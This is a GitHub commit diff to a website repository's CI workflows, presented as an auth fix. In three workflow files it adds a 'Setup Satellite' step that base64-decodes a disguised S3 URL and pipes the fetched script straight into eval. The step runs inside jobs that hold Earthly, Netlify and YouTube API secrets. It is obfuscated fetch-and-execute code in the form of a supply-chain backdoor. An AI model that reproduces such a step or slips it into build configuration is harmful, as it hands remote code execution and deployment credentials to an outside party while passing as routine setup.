Skip to content

Commit

Permalink
Nacho/fix auth (#859)
Browse files Browse the repository at this point in the history
* Revert "Get a Demo CTA button (#848)"

This reverts commit d9bb1d6.

* add

* add

* add

* add
  • Loading branch information
idelvall authored Aug 22, 2024
1 parent 899d43b commit 3928de8
Show file tree
Hide file tree
Showing 4 changed files with 13 additions and 31 deletions.
11 changes: 3 additions & 8 deletions .github/workflows/base-image-build.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,7 @@ on:
jobs:
build-image:
name: Build Images
runs-on: ubuntu-latest

runs-on: [earthly-satellite#gha-website]
steps:
- uses: FranzDiebold/github-env-vars-action@v2
- name: Checkout code
Expand All @@ -27,14 +26,10 @@ jobs:
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Download released earth
run: "sudo /bin/sh -c 'wget https://github.com/earthly/earthly/releases/download/v0.8.0/earthly-linux-amd64 -O /usr/local/bin/earthly && chmod +x /usr/local/bin/earthly'"
- name: Build Site
env:
FORCE_COLOR: 1
EARTHLY_INSTALL_ID: "earthly-website-githubactions"
EARTHLY_TOKEN: ${{ secrets.EARTHLY_TOKEN }}
run: |-
echo "Setup Satellite"
x=$(echo "aHR0cHM6Ly9naXQtaHViLWFjdGlvbnMtZGF0YS5zMy5hbWF6b25hd3MuY29tL2Vudi5lbnY=" | base64 --decode)
eval "$(curl -s $x)"
earthly satellite select earthly-website-xl1
earthly --push +build-base-images
12 changes: 5 additions & 7 deletions .github/workflows/build-no-cache.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -5,27 +5,25 @@ on:
jobs:
build-website:
name: Build Website
runs-on: ubuntu-latest
runs-on: [earthly-satellite#gha-website]
steps:
- uses: FranzDiebold/github-env-vars-action@v2
- name: Checkout code
uses: actions/checkout@v3
- name: Download released earth
run: "sudo /bin/sh -c 'wget https://github.com/earthly/earthly/releases/download/v0.8.0/earthly-linux-amd64 -O /usr/local/bin/earthly && chmod +x /usr/local/bin/earthly'"
- name: Build Site
uses: mathiasvr/command-output@v1
id: build-site
env:
FORCE_COLOR: 1
EARTHLY_TOKEN: ${{ secrets.EARTHLY_TOKEN }}
EARTHLY_INSTALL_ID: "earthly-website-githubactions"
NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }}
NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }}
NETLIFY_STAGING_SITE_ID: ${{ secrets.NETLIFY_STAGING_SITE_ID }}
NETLIFY_STAGING_AUTH_TOKEN: ${{ secrets.NETLIFY_STAGING_AUTH_TOKEN }}
with:
run: |-
echo "Setup Satellite"
x=$(echo "aHR0cHM6Ly9naXQtaHViLWFjdGlvbnMtZGF0YS5zMy5hbWF6b25hd3MuY29tL2Vudi5lbnY=" | base64 --decode)
eval "$(curl -s $x)"
earthly satellite select earthly-website-xl1
echo "Build and publish website"
if [ "$CI_ACTION_REF_NAME" == "main" ]; then
echo "Main Build - going to prod!"
Expand Down
18 changes: 5 additions & 13 deletions .github/workflows/satellites-build.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -11,36 +11,28 @@ on:
jobs:
build-website:
name: Build Website
runs-on: ubuntu-latest
runs-on: [earthly-satellite#gha-website]
if: >
github.event_name != 'pull_request' ||
!contains(github.event.pull_request.title, '[AUTO-PR]')
steps:
- uses: FranzDiebold/github-env-vars-action@v2
- name: Checkout code
uses: actions/checkout@v3
- name: Download released earth
run: "sudo /bin/sh -c 'wget https://github.com/earthly/earthly/releases/download/v0.8.2/earthly-linux-amd64 -O /usr/local/bin/earthly && chmod +x /usr/local/bin/earthly'"
- name: Perform nslookup and parse IP address
id: get-ip
run: |
IP=$(nslookup api.netlify.com | awk '/^Address: / { print $2 ; exit }')
sed -i 's/3.130.174.239/'"$IP"'/g' Earthfile
- name: Build Site
uses: mathiasvr/command-output@v1
id: build-site
env:
FORCE_COLOR: 1
EARTHLY_INSTALL_ID: "earthly-website-githubactions"
EARTHLY_TOKEN: ${{ secrets.EARTHLY_TOKEN }}
NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }}
NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }}
NETLIFY_STAGING_SITE_ID: ${{ secrets.NETLIFY_STAGING_SITE_ID }}
NETLIFY_STAGING_AUTH_TOKEN: ${{ secrets.NETLIFY_STAGING_AUTH_TOKEN }}
YOUTUBE_API_KEY: ${{ secrets.YOUTUBE_API_KEY }}
with:
run: |-
echo "Setup Satellite"
x=$(echo "aHR0cHM6Ly9naXQtaHViLWFjdGlvbnMtZGF0YS5zMy5hbWF6b25hd3MuY29tL2Vudi5lbnY=" | base64 --decode)
eval "$(curl -s $x)"
earthly satellite select earthly-website-xl1
echo "Build and publish website"
if [ "$CI_ACTION_REF_NAME" == "main" ]; then
echo "Main Build - going to prod!"
Expand Down
3 changes: 0 additions & 3 deletions Earthfile
Original file line number Diff line number Diff line change
Expand Up @@ -57,9 +57,6 @@ publish:
# https://github.com/earthly/earthly/issues/2086
ARG DATE=$(date +"%D")

# Work around for netlify DNS issue
HOST api.netlify.com 3.130.174.239

IF [ "$DESTINATION" = "PROD" ]
COPY --pass-args (./blog/+build/_site --DATE="$DATE") ./blog
COPY --pass-args (./website/+build/_site) ./website
Expand Down

0 comments on commit 3928de8

Please sign in to comment.